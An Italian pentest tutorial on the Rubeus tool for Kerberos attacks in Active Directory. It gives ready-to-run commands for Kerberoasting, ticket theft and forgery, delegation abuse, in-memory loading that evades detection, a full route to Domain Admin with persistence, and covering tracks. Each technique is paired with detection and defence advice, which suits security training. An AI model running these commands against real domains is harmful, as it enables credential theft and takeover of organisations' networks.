Rubeus: Attacchi Kerberos in Active Directory, Guida Completa per Pentest #

Rubeus è il tool C# di GhostPack per interagire a basso livello col protocollo Kerberos in Active Directory: richiede TGT/TGS via API di autenticazione senza toccare LSASS, il che lo rende l’alternativa a Mimikatz quando serve credential access senza privilegi amministrativi. Copre Kerberoasting, AS-REP Roasting, Pass-the-Ticket, Overpass-the-Hash, abuse della delegation e forgery di ticket (golden/silver/diamond). Versione corrente: v2.3.3.

In un assessment Active Directory reale è raro trovare decine di account kerberoastable pronti all’uso: più spesso ne trovi 1-3 interessanti, quindi conviene incrociare subito Rubeus con BloodHound per capire quali portano davvero a privilegi utili, invece di crackare hash a caso.

Cosa imparerai #

• Come compilare Rubeus da sorgente (GhostPack non distribuisce binari precompilati)
• Kerberoasting e AS-REP Roasting, incluse le varianti OPSEC-safe
• Richiesta e manipolazione di TGT/TGS: password, hash, certificato (PKINIT)
• Pass-the-Ticket, Overpass-the-Hash, S4U2Self/S4U2Proxy per la delegation
• Forgery di ticket: golden, silver, diamond
• Comandi avanzati: tgtdeleg, monitor/harvest, brute/spray, tgssub, describe
• Come un blue team rileva Rubeus (Event ID, Rubeus.yar, AMSI, ETW, anomalie PAC)

Prerequisiti #

1. Perché Rubeus e non Mimikatz? #

Rubeus non tocca mai la memoria di LSASS: usa l’API LsaCallAuthenticationPackage() per richiedere ticket via protocollo Kerberos legittimo, quindi non serve essere amministratori locali per la maggior parte delle azioni. Mimikatz invece legge la memoria di LSASS direttamente e richiede privilegi elevati, il che lo rende un bersaglio EDR molto più facile da individuare.

La differenza pratica: con asktgt, se applichi il ticket con /ptt sovrascrivi il TGT della sessione corrente. Per evitarlo (con privilegi admin) usa /createnetonly per creare un processo sacrificale con una sessione di logon dedicata, poi applica il ticket lì con /luid.

Il flusso base che ogni comando Rubeus replica o manipola:

Client --AS-REQ (chiave utente)--> KDC
Client <--AS-REP (TGT cifrato)---- KDC
Client --TGS-REQ (TGT + SPN)-----> KDC
Client <--TGS-REP (TGS cifrato)--- KDC
Client --AP-REQ (TGS)------------> Servizio target

2. Compilazione (nessun binario ufficiale) #

GhostPack non pubblica eseguibili precompilati di Rubeus, apposta per non lasciare una signature statica facilmente bloccabile dagli AV — vanno compilati da sorgente.

git clone https://github.com/GhostPack/Rubeus.git
cd Rubeus

Compilazione con Visual Studio 2019+ (apri Rubeus.sln, scegli “Release”, Build) oppure da riga di comando:

msbuild Rubeus.sln /p:Configuration=Release

Il target framework di default è .NET 3.5 — se manca sul sistema di build, cambialo aprendo il progetto: Project → Rubeus Properties → Target Framework (net40/net45 sono le alternative comuni).

Output in bin\Release\Rubeus.exe. Per l’esecuzione in-memory (senza toccare disco), caricalo come assembly da byte array o usa execute-assembly di Cobalt Strike:

$bytes = [System.IO.File]::ReadAllBytes("Rubeus.exe")
[System.Reflection.Assembly]::Load($bytes)
[Rubeus.Program]::Main("dump".Split())

Compilare tu stesso il binario, invece di scaricare un .exe da internet, evita sia la detection statica sia il rischio concreto di eseguire un Rubeus backdoored da terzi — capita più spesso di quanto si pensi con i tool “precompilati” che girano su forum e repository non ufficiali.

3. Kerberoasting #

Il Kerberoasting richiede un TGS per ogni account con SPN registrato e ne estrae la porzione cifrata con la chiave dell’account di servizio, crackabile offline: se l’account usa RC4 il crack è rapido, se usa AES256 è molto più lento.

Sintassi completa:

Rubeus.exe kerberoast [/user:USER] [/spn:SPN] [/outfile:FILE] [/delay:MS] [/jitter:1-100] [/preauth:USER] [/stats]

• kerberoast — azione principale
• /user:USER — opzionale, limita l’attacco a un solo account invece di tutto il dominio
• /spn:SPN — opzionale, mirato a un singolo SPN specifico invece che a tutti gli account
• /outfile:FILE — salva gli hash su file invece di stamparli a schermo
• /delay:MS / /jitter:1-100 — OPSEC: millisecondi di pausa tra le richieste + variazione percentuale casuale
• /preauth:USER — richiede kerberoast su un account senza Kerberos pre-auth, combinando roasting e AS-REP in un colpo solo
• /stats — mostra solo statistiche sugli account roastabili, senza inviare richieste TGS reali

Rubeus.exe kerberoast /stats
Rubeus.exe kerberoast /outfile:hashes.txt

Variante OPSEC-safe, con delay e jitter per non generare un burst di richieste TGS anomalo:

Rubeus.exe kerberoast /delay:3000 /jitter:30 /outfile:hashes.txt

Kerberoasting mirato, solo su un account specifico invece di enumerare tutto il dominio:

Rubeus.exe kerberoast /user:svc_sql /outfile:hashes.txt

Kerberoast con pre-auth disabilitato (/preauth), per account che non richiedono Kerberos pre-authentication — combina kerberoasting e AS-REP roasting in un’unica richiesta.

Crack con Hashcat:

hashcat -m 13100 hashes.txt rockyou.txt   # RC4
hashcat -m 19700 hashes.txt rockyou.txt   # AES256

• -m 13100 / -m 19700 — modalità hashcat: dice quale algoritmo usare per decifrare (13100=Kerberoast RC4, 19700=AES256)
• hashes.txt — file con gli hash estratti da Rubeus
• rockyou.txt — wordlist da provare contro ogni hash

Nella pratica capita spesso che il cracking non recuperi nulla nemmeno dopo ore: quasi sempre non è un problema di Hashcat ma della password policy — se l’azienda applica password complesse su tutti i service account, conviene concentrare il tempo su altri vettori invece di insistere sul crack.

In ambienti enterprise moderni è sempre più comune trovare service account su gMSA (Group Managed Service Account) con password AES256 casuali e ruotate automaticamente: in quel caso il Kerberoasting non porta praticamente a nulla, e conviene spostarsi subito su delegation abuse o ADCS invece di insistere.

Detection e difesa #

• Event ID 4769 (TGS richiesto) con encryption type RC4 (0x17) su account con SPN è il segnale classico di kerberoasting — un volume anomalo di 4769 in poco tempo dallo stesso utente è un IOC forte.
• Microsoft Defender for Identity e Microsoft Sentinel hanno regole native per il kerberoasting basate su questo pattern.
• Difesa strutturale: forza AES256 sugli account di servizio (msDS-SupportedEncryptionTypes), elimina RC4 dove possibile, usa password lunghe e casuali per i service account (gMSA quando fattibile, ruota automaticamente la password).

4. AS-REP Roasting #

L’AS-REP Roasting sfrutta account con pre-authentication Kerberos disabilitata (DONT_REQ_PREAUTH): l’AS-REP torna cifrato con la chiave derivata dalla password dell’utente e si crack-a offline senza aver mai fornito credenziali valide.

Sintassi completa:

Rubeus.exe asreproast [/user:USER] [/format:hashcat|john] [/outfile:FILE]

• asreproast — azione: cerca account senza pre-auth e richiede il loro AS-REP
• /user:USER — opzionale, limita a un account specifico
• /format:hashcat — formato di output compatibile con Hashcat (default: John the Ripper)
• /outfile:FILE — salva su file invece di stampare a schermo

Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt

Prima identifica gli account vulnerabili senza tentare il roast (utile in fase di enumerazione silenziosa):

Rubeus.exe preauthscan /users:C:\temp\users.txt

• preauthscan — azione: manda AS-REQ di prova per ogni utente nella lista, senza estrarre hash
• /users:FILE — file con un nome utente per riga da controllare

Crack:

hashcat -m 18200 asrep.txt rockyou.txt

Detection e difesa #

• Event ID 4768 (richiesta TGT) senza pre-authentication è il segnale — l’encryption type RC4 lo rende ancora più sospetto.
• Difesa: disabilita DONT_REQ_PREAUTH su tutti gli account salvo eccezioni documentate (alcuni sistemi legacy Kerberos-only lo richiedono), audit periodico con PowerView o LDAP query dedicata.

5. Richiesta TGT: password, hash, certificato #

asktgt supporta più metodi di autenticazione, ognuno con un caso d’uso diverso:

Sintassi completa:

Rubeus.exe asktgt /user:USER </password:PASS | /rc4:HASH | /aes256:HASH | /certificate:FILE> [/domain:DOMAIN] [/dc:DC] [/ptt] [/opsec] [/nopac] [/proxyurl:URL] [/outfile:FILE]

• asktgt — azione: richiede un TGT nuovo
• /user:USER — account per cui richiedere il ticket
• /password:PASS | /rc4:HASH | /aes256:HASH | /certificate:FILE — uno di questi quattro, il metodo di autenticazione (obbligatorio uno solo)
• /domain:DOMAIN / /dc:DC — opzionali, dominio e domain controller target (auto-rilevati se omessi)
• /ptt — applica subito il ticket alla sessione corrente (pass-the-ticket immediato)
• /opsec — invia una richiesta AS-REQ più simile al traffico reale di Windows
• /nopac — richiede il TGT senza PAC
• /proxyurl:URL — instrada la richiesta via KDC proxy invece che diretta al DC
• /outfile:FILE — salva il ticket ottenuto su file invece di stamparlo solo a schermo

Rubeus.exe asktgt /user:svc_sql /rc4:aad3b435b51404eeaad3b435b51404ee /domain:corp.local /ptt

Flag operativi utili: /opsec (evita pattern di richiesta anomali), /nopac (omette il PAC, utile contro alcune detection legacy ma rilevabile a sua volta come anomalia), /proxyurl (instrada la richiesta attraverso un KDC proxy, utile quando non hai linea diretta col DC).

Detection e difesa #

• Richieste TGT (4768) con /nopac generano ticket senza PAC standard — pattern non comune nel traffico legittimo, individuabile con regole Sigma dedicate.
• PKINIT con certificato rubato è rilevabile correlando Event ID 4768 con l’uso anomalo di un certificato smart-card su un host che normalmente non lo usa (Certificate Services logging + Defender for Identity).

6. Pass-the-Ticket e Overpass-the-Hash #

Con un TGT già ottenuto (rubato o richiesto), lo importi nella sessione corrente per autenticarti senza mai conoscere la password in chiaro:

Sintassi completa:

Rubeus.exe ptt /ticket:<BASE64 | FILE.KIRBI> [/luid:LOGONID]

• ptt — azione: importa (pass) un ticket nella sessione di logon
• /ticket: — il ticket, come blob base64 o percorso a un file .kirbi
• /luid:LOGONID — opzionale (richiede elevazione), applica il ticket a una sessione di logon diversa da quella corrente invece di sovrascrivere la tua

Rubeus.exe ptt /ticket:BASE64_TICKET
Rubeus.exe klist

L’Overpass-the-Hash converte un hash NTLM in un ticket Kerberos utilizzabile, bypassando l’autenticazione NTLM classica:

Rubeus.exe asktgt /user:admin /rc4:NTLMHASH /ptt
dir \\server\share

Mappa su MITRE ATT&CK T1550.003 (Pass the Ticket) e T1558 (Steal or Forge Kerberos Tickets).

Detection e difesa #

• Un ticket importato via ptt non genera un nuovo Event ID 4768/4769 dal client — l’anomalia da cercare è un Logon Event (4624, tipo 3) con provider Kerberos da un host che non ha mai fatto un AS-REQ visibile per quell’utente.
• Difesa strutturale: Protected Users group per gli account privilegiati (impedisce NTLM fallback e limita la durata dei ticket), Credential Guard per proteggere i ticket in memoria.

7. S4U: abuso della delegation #

S4U2Self + S4U2Proxy (constrained delegation) permette a un account con delegation configurata di impersonare un altro utente verso un servizio specifico:

Sintassi completa:

Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> /impersonateuser:TARGET /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/ptt] [/opsec]

• s4u — azione: esegue S4U2Self + S4U2Proxy
• /user:USER — l’account con delegation configurata che stai abusando
• /rc4:HASH | /aes256:HASH — la chiave dell’account con delegation (in alternativa puoi passare /ticket:X se hai già un suo TGT)
• /impersonateuser:TARGET — l’utente che vuoi impersonare (tipicamente un amministratore)
• /msdsspn:SERVICE/SERVER — lo SPN verso cui l’account ha delegation configurata (valore reale del suo msDS-AllowedToDelegateTo)
• /altservice:SERVICE — opzionale, sostituisce il nome del servizio nel ticket finale (es. da ldap a cifs) sfruttando il fatto che l’sname non è protetto dalla firma
• /ptt — applica subito il ticket risultante

Rubeus.exe s4u /user:svc_account /rc4:HASH /impersonateuser:administrator /msdsspn:cifs/server.corp.local /ptt

Con Resource-Based Constrained Delegation (RBCD), se controlli un computer account puoi configurare tu stesso la delegation verso il target — vedi la guida dedicata a RBCD per il setup completo dell’attributo msDS-AllowedToActOnBehalfOfOtherIdentity.

Unconstrained delegation è il caso più pericoloso: se un host la ha configurata, ogni utente che vi si autentica lascia un TGT riutilizzabile in memoria. Rubeus può monitorare l’arrivo di nuovi ticket:

Rubeus.exe monitor /interval:5 /nowrap

Mappa su MITRE ATT&CK T1134.001 (Token Impersonation) e T1558.004 per specifiche varianti.

Detection e difesa #

• Audita periodicamente quali account/computer hanno delegation abilitata (TrustedForDelegation, TrustedToAuthForDelegation, msDS-AllowedToDelegateTo) — dovrebbe essere l’eccezione, non la norma.
• Unconstrained delegation su un host non-DC è quasi sempre un errore di configurazione da correggere, non solo da monitorare.
• Event ID 4769 con flag FORWARDABLE verso più servizi diversi nello stesso arco di tempo breve è un indicatore di abuso S4U.

8. Ticket forgery: golden, silver, diamond #

Oltre a richiedere ticket legittimi, Rubeus può forgiare ticket da zero se possiedi la chiave giusta — funzionalità che di solito si associa solo a Mimikatz.

Golden ticket: forgia un TGT completo usando l’hash krbtgt. Il flag /ldap automatizza il recupero via LDAP di SID, gruppi e policy di dominio invece di doverli passare a mano:

Rubeus.exe golden /aes256:KRBTGT_HASH /user:administrator /ldap /ptt

Silver ticket: forgia un TGS per un servizio specifico usando l’hash dell’account di servizio (non serve krbtgt). Più silenzioso del golden perché non tocca il KDC per l’AS-REQ iniziale — ma è verificabile lato servizio se questo valida il PAC col DC:

Rubeus.exe silver /service:cifs/server.corp.local /rc4:SERVICE_HASH /user:administrator /ldap /ptt

Il flag /nofullpacsig esclude il FullPacChecksum introdotto per mitigare CVE-2022-37967 — utile per compatibilità con ticket verso DC non ancora patchati, ma la sua assenza è di per sé un indicatore.

Diamond ticket: la variante più stealth. Invece di forgiare da zero, richiede un TGT reale via AS-REQ/AS-REP (traffico legittimo verso il KDC) e poi modifica il PAC del ticket già ottenuto. Essendo un ticket “vero” all’origine, elude più facilmente la detection basata su anomalie nella richiesta iniziale:

Rubeus.exe diamond /krbkey:KRBTGT_KEY /user:svc_backup /password:PASSWORD /ticketuser:administrator /ticketuserid:500 /groups:512

Detection e difesa #

• Golden ticket: durata del ticket anomala rispetto alla policy di dominio (default 10h), o PasswordLastSet/LogonCount incoerenti con i dati reali dell’account nel PAC — Defender for Identity li segnala come “ticket anomaly”.
• Silver ticket: nessun evento 4768 sul DC (il ticket non passa mai dal KDC) — l’anomalia è un accesso al servizio senza una corrispondente richiesta TGT/TGS nei log, visibile solo correlando i log del servizio target con quelli del DC.
• Diamond ticket: il più difficile da rilevare perché l’AS-REQ iniziale è reale — la detection si sposta sul PAC stesso (validazione checksum, campi incoerenti con LDAP al momento dell’uso).
• Difesa strutturale comune a tutti e tre: ruota periodicamente la password krbtgt (due volte, a distanza di ore, per invalidare la chain), monitora Defender for Identity/Sentinel per anomalie PAC, limita chi ha accesso in lettura all’hash krbtgt (solo DC, mai cache locali).

8.5. Cambio password via Kerberos (changepw) #

Se possiedi la password attuale di un utente, puoi cambiarla direttamente via Kerberos (RFC 3244) senza necessità di accesso LSASS:

Rubeus.exe changepw /user:username /password:VECCHIA_PASSWORD /new:NUOVA_PASSWORD /domain:corp.local

O con hash:

Rubeus.exe changepw /user:username /rc4:NTLM_HASH /new:NUOVA_PASSWORD /domain:corp.local

Utilizzi pratici: forzare logout dell’utente dalle sessioni precedenti, mantenere persistenza su account compromessi, coprire tracce modificando password e facendola tornare a quella originale.

Detection #

Event ID 4724 (password reset) con provider Kerberos anziché NTLM è sospetto su account non-utente.

8.6. Keylist attack (emulazione Read-Only Domain Controller) #

Un keylist attack finge di essere un Read-Only Domain Controller (RODC) per richiedere il password hash di un utente verso il KDC:

Rubeus.exe asktgs /enctype:aes256 /keylist /ticket:TGT_VALIDO.kirbi /service:krbtgt/DOMAIN.LOCAL

Richiede un TGT valido di un account con diritti RODC — raro in ambienti moderni, ma possibile se hai già compromesso un account molto privilegiato. Il KDC ritorna l’hash (RC4/AES) dell’utente targetizzato.

Detection #

Event ID 4769 con SPN anomalo (krbtgt dal solito client), richiesta da macchina che non è un DC, flag inusuali nel ticket.

8.7. asktgs: richiedere un TGS specifico #

Mentre asktgt richiede un Ticket Granting Ticket dal KDC, asktgs richiede direttamente un TGS (Ticket Granting Service) per un servizio specifico. Utile quando hai già un TGT e vuoi il ticket per un target preciso senza passare per la richiesta TGS normale.

Sintassi:

Rubeus.exe asktgs /ticket:TGT.kirbi /service:cifs/server.corp.local [/u2u] [/enctype:AES256]

Parametri:

• /ticket:FILE — il TGT da usare (file .kirbi o base64)
• /service:SPN — lo SPN target (es. cifs/server, http/web.corp.local, ldap/dc)
• /u2u — opzionale, richiesta User-to-User (più rara)
• /enctype:AES256 — specifica encryption type preferito
• /ptt — applica il ticket risultante

Esempio completo:

Rubeus.exe asktgs /ticket:admin.kirbi /service:cifs/server.corp.local /ptt

Differenza con asktgt:

• asktgt → TGT (ticket per chiedere altri ticket)
• asktgs → TGS (ticket per accedere al servizio)

Se non hai un TGT ma hai credenziali, usa asktgt prima.

9. PAC (Privileged Attribute Certificate): deep dive #

Il PAC è un contenitore binario dentro il TGT che contiene informazioni critiche su utente e privilegi:

Il problema classico: /nofullpacsig

Se usi /nofullpacsig nel silver command, escudi la Full PAC Signature — il servizio non può verificare che il PAC non sia stato modificato dal DC. Tolta questa firma, modificare il PAC diventa (teoricamente) possibile, ma richiedi comunque di cifrare il ticket correttamente con l’hash del servizio.

Rubeus.exe silver /service:cifs/server /rc4:HASH /user:admin /nofullpacsig

PAC Validation

Alcuni servizi, se configurati, validano il PAC ricontattando il DC per verificare che il PAC sia legittimo. Se lo fai, il servizio chiede al DC “è vero che questo utente ha questi privilegi?” — se ricontatta e scopre inconsistenze, il ticket viene rifiutato.

CVE-2022-37967: PAC Signature Forging

Una vulnerabilità in cui, sotto certe condizioni, il PAC poteva essere firmato con una chiave nota (anziché la chiave krbtgt), permettendo di forgiare PAC arbitrari. Oggi patchato, ma il flag /nofullpacsig lo ricorda.

Ragionamento corretto sul PAC:

• Il PAC dice al servizio “questo utente ha questi privilegi”
• Se il servizio non valida il PAC col DC, si fida della firma HMAC
• Se la firma è falsa, il ticket è rifiutato — non entra affatto il servizio

10. Rilevare Rubeus a runtime #

Oltre alla detection per-tecnica già vista, ci sono segnali generici legati al tool stesso:

• Rubeus.yar: una regola YARA pubblica (dal red team tool countermeasure repo di FireEye) individua signature statiche del binario compilato di default — motivo in più per compilare con modifiche personalizzate.
• AMSI: dal .NET Framework 4.8, l’Antimalware Scan Interface è integrato anche nel CLR .NET, quindi l’esecuzione di Rubeus tramite PowerShell (incluso Empire) passa sotto AMSI e script block logging.
• execute-assembly (Cobalt Strike o simili): inietta cross-process e carica il CLR in un processo non-.NET — questo comportamento è un segnale osservabile a prescindere dal payload specifico eseguito.

11. Altri comandi utili (estrazione, monitoraggio, utility) #

Esempi pratici comandi utili #

dump — Estrai TGT di admin che si è appena loggato

Rubeus.exe dump

Cerchi negli output un account interessante (es. CORP\Administrator). Se vedi un TGT lì, copialo:

Rubeus.exe ptt /ticket:BASE64_TGT_ADMIN

Ora sei admin in quella sessione.

monitor — Aspetta che un admin si connetta a un server con unconstrained delegation

Su un server vulnerabile a unconstrained delegation (raro, ma accade):

Rubeus.exe monitor /interval:5 /nowrap

Rubeus controlla ogni 5 secondi. Se un Domain Admin si connette al server per accedere una risorsa (SMB, RDP, ecc.), il suo TGT arriva nella cache. Lo catturi qui.

renew — Rinova un TGT che sta per scadere

Rubeus.exe renew /ticket:VECCHIO_TGT.kirbi /ptt

Funziona solo se il TGT ha il flag RENEWABLE nel campo RenewTill. Se scade completamente, non puoi rinnovare — serve una nuova autenticazione.

describe — Analizza cosa c’è dentro a un ticket

Rubeus.exe describe /ticket:BASE64_QUALSIASI

Utile per capire:

• Encryption type (RC4 vs AES)
• SID e gruppi dell’utente
• Quando scade il ticket
• PAC contents (se readable)

tgtdeleg in dettaglio — se sei già autenticato come un utente sul sistema, la sessione Kerberos esistente basta per ottenere un TGT riutilizzabile altrove, senza bisogno di password né hash: sfrutta il GSS-API con una finta richiesta di delega (trick preso da Kekeo).

Sintassi completa:

Rubeus.exe tgtdeleg [/target:SPN] [/nowrap]

Parametri dettagliati:

• tgtdeleg — azione: richiede un TGT per l’utente corrente senza elevazione
• /target:SPN — opzionale, specifica lo SPN target manualmente (es. HOST/dc.dominio.local) se Rubeus non riesce a determinare da solo dominio/DC
• /nowrap — opzionale, non spezza il base64 su più righe (comodo per copiare il ticket direttamente)

Esempio minimo (auto-detect dominio e DC):

Rubeus.exe tgtdeleg

Esempio con target esplicito e output a una riga:

Rubeus.exe tgtdeleg /target:HOST/dc.corp.local /nowrap

Output: TGT in base64. Copia il base64 e importalo direttamente:

Rubeus.exe ptt /ticket:BASE64_QUI

Il TGT senza sessione key restituito da tgtdeleg è comunque usabile per richieste TGS successive, anche se non permette tutte le operazioni di un TGT ottenuto con asktgt da hash/password.

Da .kirbi a .ccache (uso con Impacket) #

Rubeus e Mimikatz lavorano in formato .kirbi, ma gli strumenti Linux basati su Impacket (wmiexec.py, secretsdump.py, ecc.) leggono solo .ccache. È lo stesso ticket, cambia solo il contenitore binario — serve convertire per portare un ticket ottenuto su Windows dentro un tool Python su Linux.

Step 1: Decodificare base64 → .kirbi

Rubeus restituisce il ticket in base64. Decodi su Windows (PowerShell):

Se il base64 è salvato direttamente in una variabile:

$base64 = "BASE64_RUBEUS_OUTPUT_QUI"
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String($base64))

Se il base64 è in un file di testo ticket.b64:

$base64 = Get-Content ticket.b64
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String($base64))

Su Linux (bash), se hai il base64 direttamente:

echo "BASE64_RUBEUS_OUTPUT_QUI" | base64 -d > ticket.kirbi

O da file:

cat ticket.b64 | base64 -d > ticket.kirbi

Step 2: Convertire .kirbi → .ccache

Usa ticketConverter.py (incluso in Impacket):

python3 ticketConverter.py ticket.kirbi ticket.ccache

Output: ticket.ccache pronto per Impacket.

Step 3: Esportare la variabile d’ambiente e usare il ticket

export KRB5CCNAME=$(pwd)/ticket.ccache

Ora puoi usare qualsiasi tool Impacket con -k -no-pass:

wmiexec.py dominio/utente@target -k -no-pass

Oppure:

secretsdump.py dominio/utente@target -k -no-pass

Oppure:

psexec.py dominio/utente@target -k -no-pass

-k dice “autentica con Kerberos”, -no-pass dice “non chiedere password, usa il ticket in KRB5CCNAME”.

Conversione inversa: .ccache → .kirbi

Se hai un ticket .ccache da Linux e lo vuoi usare in Rubeus/Mimikatz su Windows:

python3 ticketConverter.py ticket.ccache ticket.kirbi

Copia ticket.kirbi su Windows, poi:

Rubeus.exe ptt /ticket:C:\path\to\ticket.kirbi

Oppure converti direttamente a base64 per il copincolla:

$bytes = [System.IO.File]::ReadAllBytes("ticket.kirbi")
$base64 = [Convert]::ToBase64String($bytes)
$base64 | Set-Clipboard

Poi importa in Rubeus:

Rubeus.exe ptt /ticket:BASE64_QUI

Il Bronze Bit exploit (CVE-2020-17049) è implementato col flag /bronzebit sul comando s4u: forza il flag forwardable durante S4U2Self anche quando l’account non dovrebbe poterlo ottenere, ma richiede la chiave a lungo termine dell’account di servizio per ri-cifrare il ticket.

Flag OPSEC: stealth durante le operazioni #

Rubeus supporta diversi flag per ridurre la detection:

/opsec — modifica le richieste Kerberos per assomigliare più al traffico legittimo (toglie alcuni flag anomali, aggiunge supporto PA-PAC-OPTIONS):

Rubeus.exe asktgt /user:admin /password:pass /opsec /ptt

/rc4opsec — nel kerberoasting, targetizza solo account che non supportano AES, in modo da non forzare downgrade di RC4 che sarebbe rilevabile:

Rubeus.exe kerberoast /rc4opsec /delay:3000 /jitter:30

/delay e /jitter — aggiungi delay e variabilità fra le richieste per evitare burst anomali di TGS:

Rubeus.exe kerberoast /delay:5000 /jitter:30 /outfile:hashes.txt

/createnetonly — crea un processo sacrificale con una logon session dedicata anziché sovrascrivere il TGT della sessione corrente:

Rubeus.exe asktgt /user:admin /rc4:HASH /createnetonly:C:\Windows\System32\cmd.exe /ptt /show

Con /show vedi l’output della nuova sessione.

Ragionamento corretto: OPSEC non è un flag magico — riduce il rumore, ma un SOC esperto riconosce comunque i pattern di Rubeus. Usalo per ridurre la detection passiva, non per “diventare invisibile”.

Workflow operativo completo: da enumerazione a DA #

Questo è il flusso reale di un assessment AD da zero a Domain Admin. Ogni step ha un perché.

Step 1: Enumerazione iniziale (BloodHound)

bloodhound-python -d domain.local -u user -p pass -c All -ns DC_IP

Obiettivo: mappare quali account hanno SPN registrati, quali hanno delegation, quali appartengono a gruppi critici. BloodHound crea il grafo: non lanci Rubeus a caso su 5000 account.

Step 2: Kerberoasting mirato

Una volta che BloodHound ha identificato gli SPN, lancia Rubeus SOLO su quelli interessanti:

Rubeus.exe kerberoast /user:svc_sql /user:svc_web /delay:3000 /jitter:30 /outfile:hashes.txt

Perché non tutto il dominio? Generi un burst di TGS-REQ rilevabile, e molti account potrebbero avere password casuali (gMSA).

Step 3: Crack offline (Hashcat)

hashcat -m 13100 hashes.txt rockyou.txt -r rules.txt

Se dopo 2-3 ore niente esce, probabilmente la password non è in dizionario. Passa al step 4.

Step 4a: Password trovata → Accesso diretto

Se il crack ha funzionato:

Rubeus.exe asktgt /user:svc_sql /password:PASSWORD123 /domain:corp.local /ptt

Ora il TGT di svc_sql è in memoria. Sei svc_sql. Se svc_sql ha diritti particolari (admin su fileserver, esecutore di job SQL), usi quei diritti direttamente.

Step 4b: Account senza password (delegation abuse)

Se l’account non ha password crackabile, ma BloodHound mostra che ha delegation configurata:

Rubeus.exe s4u /user:svc_constrained /rc4:HASH_DEL_KERBEROASTING /impersonateuser:administrator /msdsspn:cifs/server.corp.local /ptt

Qui S4U2Self + S4U2Proxy impersonano administrator verso il target — senza bisogno di crack.

Step 5: Lateral movement → DA

Con i diritti di un account compromesso, raggiungi il Domain Admin:

• Se sei admin su un server, accedi a C$ e installa persistence
• Se hai diritti su ADCS, sfrutta ESC1/ESC8 per ottenere certificato admin
• Se hai diritti di modificare utenti, abusa della shadow credentials o della delegazione

Torna a BloodHound per vedere il prossimo salto.

Errore comune: Lancia Rubeus su 5000 account, cracka 50 password, poi non sa come usarle perché non ha mappa dei privilegi. BloodHound prima, Rubeus dopo.

Esecuzione in-memory: Rubeus come libreria .NET #

Rubeus non deve obbligatoriamente essere un binario su disco — può essere caricato direttamente in memoria tramite reflection:

Da PowerShell (file-less esecuzione):

$bytes = [System.IO.File]::ReadAllBytes("C:\Path\To\Rubeus.exe")
[System.Reflection.Assembly]::Load($bytes)
[Rubeus.Program]::Main("kerberoast /outfile:hashes.txt".Split())

Oppure, se Rubeus è codificato in base64 (per bypassare i detection di download):

$b64 = "BASE64_RUBEUS_QUI"
$bytes = [System.Convert]::FromBase64String($b64)
[System.Reflection.Assembly]::Load($bytes)
[Rubeus.Program]::Main("asktgt /user:X /password:Y /ptt".Split())

Da Cobalt Strike (execute-assembly):

execute-assembly /path/to/Rubeus.exe kerberoast /outfile:hashes.txt

Cobalt Strike carica il binario in-process e lo esegue senza toccarlo su disco.

Da un C# project esterno (uso Rubeus come DLL):

1. Compila Rubeus: msbuild Rubeus.sln /p:Configuration=Release
2. Nel tuo progetto, aggiungi riferimento a Rubeus.dll
3. Usa i namespace:

using Rubeus;
using Rubeus.Commands;
using Rubeus.Lib;

// Esegui Kerberoasting
var args = new string[] { "kerberoast", "/outfile:hashes.txt" };
Program.Main(args);

Vantaggi dell’esecuzione in-memory:

• Nessun file su disco (salta file-based detection)
• AMSI può still bloccare se il CLR ha AMSI abilitato (.NET 4.8+)
• Script block logging in PowerShell catturaà comunque il comando

Rilevamento:

• ETW (Event Tracing for Windows): CLR loaded in non-.NET process (Cobalt Strike) è osservabile
• Sysmon Event ID 7: DLL caricata (System.DirectoryServices.dll, etc.) da processo sospetto
• AMSI: se abilitato sul sistema, intercetta reflection-based execution

Troubleshooting #

Limiti di Rubeus: cosa NON fa #

Molti pentester pensano che Rubeus faccia tutto. Non è vero. Rubeus è specializzato in Kerberos ticket, non in credential extraction generico:

• ❌ DCSync — non replica il database del DC. Serve Mimikatz lsadump::dcsync o Impacket secretsdump.py.
• ❌ Dump LSASS — non legge memoria LSASS per password in chiaro. Serve Mimikatz sekurlsa::logonpasswords.
• ❌ Dump SAM — non dumpa hash locali. Serve reg save + offline parsing.
• ❌ Dump DPAPI — non decodifica credenziali DPAPI. Serve Mimikatz dpapi:: oppure SharpDPAPI.
• ❌ Lateral movement → Rubeus ottiene il ticket, non lo esegue. Serve psexec, wmiexec o Impacket.
• ❌ Pass-the-Hash NTLM puro — Rubeus fa Overpass-the-Hash (hash → Kerberos). Pass-the-Hash NTLM classico richiede PsExec /user:hash.

Ragionamento: Rubeus è verticale — specializzato in Kerberos protocol. Per il resto: Mimikatz per LSASS, Impacket per remote, SharpUp per enumeration.

RC4 vs AES: encryption types in Kerberos #

Kerberos supporta diversi tipi di cifratura per il ticket. I due principali:

Scelta strategica:

Se kerberoasti un account e vedi che supporta AES256, non usare /rc4. Rubeus userà AES256 e il crack sarà esponenzialmente più lento. Se supporta SOLO RC4, bene — crack è veloce.

Flag OPSEC: con /rc4opsec, Rubeus kerberoasta solo account RC4, evitando il downgrade che sarebbe rilevabile dai DC:

Rubeus.exe kerberoast /rc4opsec /delay:5000

Ragionamento: Ogni asktgt /password:X si negozia con il KDC sul miglior etype disponibile. Downgrade forzato a RC4 quando l’account supporta AES è un segnale di anomalia.

Hash types per Hashcat #

Tabella di riferimento rapido per capire quale hash è uscito da quale attacco:

Cleanup #

A fine engagement, rimuovi le tracce lasciate sul target:

Rubeus.exe purge
del C:\Windows\Temp\rubeus.exe

purge elimina i ticket importati nella sessione corrente (o in una specifica con /luid). Se hai usato /createnetonly, chiudi anche il processo sacrificale creato. Se hai forgiato golden/silver ticket, ricorda che restano validi finché non scade la password krbtgt/dell’account di servizio usato — non c’è un modo per “revocarli” lato attaccante, va gestito nel report per il cliente.

Errori comuni #

• Kerberoastare tutto il dominio senza criterio: su domini grandi genera un burst di richieste TGS facilmente rilevabile. Meglio targettizzare con /user o incrociare prima con BloodHound.
• Insistere con RC4 quando il dominio supporta AES: chiedere esplicitamente RC4 su un account che supporta AES è un downgrade di cifratura, uno dei segnali più controllati lato DC — usa /aes quando possibile.
• Crack infinito su hash AES256: se dopo qualche ora di dizionario/regole non esce nulla, il tempo va speso altrove, non a estendere la wordlist all’infinito.
• Ignorare i gMSA: kerberoastare un account gMSA è tempo sprecato, la password è casuale e ruotata — verificalo prima con Get-ADServiceAccount o via BloodHound.
